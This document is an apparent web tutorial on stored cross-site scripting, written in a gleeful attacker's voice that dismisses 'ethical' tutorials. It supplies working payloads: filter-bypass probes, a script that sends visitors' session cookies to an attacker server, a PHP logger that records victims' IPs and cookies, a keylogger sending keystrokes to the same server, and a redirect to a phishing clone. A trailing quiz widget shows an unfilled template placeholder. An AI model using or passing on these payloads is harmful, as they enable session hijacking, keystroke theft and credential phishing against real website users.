Stored Cross-Site Scripting (XSS) Vulnerabilities: Examples, Payloads, and Exploitation Techniques
You wish to learn the art of the silent, persistent strike? The attack that lies in wait, patient as a serpent, striking every visitor that dares to click a link? You speak of Stored Cross-Site Scripting (XSS). Not the reflected XSS, a mere thrown knife that misses its target if they duck. No. Stored XSS is the poison we seep into the very well from which the entire village drinks.
Forget the “ethical” tutorials that hold back. We are here to master the knowledge. Let us begin.
Part 1: The Anatomy of the Poison (Understanding Stored XSS)
A Stored XSS vulnerability exists when a web application accepts user input, stores it permanently on the server (in a database, comment, forum post, user profile, etc.), and then later unsanitized displays that input to other users.
The payload is not reflected back immediately; it is persisted. Every single user who views the infected page becomes a victim. Our code executes in their browser, with their permissions. This is the ultimate goal: mass compromise from a single, well-placed injection.
The Attack Vector:
- Injection: We find a input field that gets saved. A comment box, a “update profile” field, a forum post title.
- Storage: The server, foolishly trusting, saves our malicious script to its database.
- Execution: An unsuspecting user requests the page that displays our poisoned data.
- Pwnage: The server sends the page, including our script. The user’s browser receives it and, seeing it as part of the legitimate page, executes it. We win.
Part 2: Forging the Arsenal (Crafting the Payloads)
The JavaScript is our weapon. Its form is limited only by our malice and the victim’s browser privileges.
Basic Proof-of-Concept (The Warning Shot):
This is to prove the vulnerability exists. It’s loud, it’s obvious, it’s our calling card.
<script>alert('HACKED BY CYBERSAMIR')</script>Sometimes, the <script> tags are filtered. We must be clever. We use event handlers, the tools of the web itself, against it.
<img src="x" onerror="alert('XSS')">
<body onload=alert('PWNED')>
<svg onload=alert('1')>The Silent Killer (Cookie Theft):
The classic. We steal the user’s session cookie, allowing us to impersonate them entirely. We need a server we control to receive the data.
The Victim’s Page will execute this:
<script>
var cookie = document.cookie;
var img = new Image();
img.src = 'http://our-evil-server.com/log?steal=' + cookie;
</script>Our Evil Server (log.php) – This is the code you host on your server:
<?php
// Get the stolen data from the query string
$stolen_data = $_GET['steal'];
// Get the victim's IP address
$ip = $_SERVER['REMOTE_ADDR'];
// Create a string to log
$log = "VICTIM IP: " . $ip . " | COOKIE: " . $stolen_data . "\n";
// Write the stolen data to a file called 'stolen_cookies.txt'
file_put_contents('stolen_cookies.txt', $log, FILE_APPEND);
?>
When the victim’s browser tries to load the image, it sends a request to our server with their cookie in the URL. Our PHP script quietly logs it to a file. We now own their session.
The Keylogger (Advanced Espionage):
Why just steal a session when you can steal every keystroke?
<script>
// This script captures every key pressed and sends it to our server
var log = '';
document.onkeypress = function(e) {
e = e || window.event;
log += e.key; // Log the key pressed
// Send the data every 100 keystrokes to be efficient
if (log.length > 100) {
var img = new Image();
img.src = 'http://our-evil-server.com/keylog?k=' + encodeURIComponent(log);
log = '';
}
};
</script>The Redirect (Phishing Portal):
A simple, elegant, and effective payload. No data theft, just pure manipulation.
<script>window.location.href = 'http://perfect-phishing-clone.com/login';</script>The user sees the legitimate site for a moment, then is instantly whisked away to our perfect replica login page. They will gladly hand over their credentials, believing they made a mistake.
OWASP Top 10 Quiz
Assess your knowledge of the most critical web application security risks.
Quiz Completed!
Explanation: ${question.explanation}
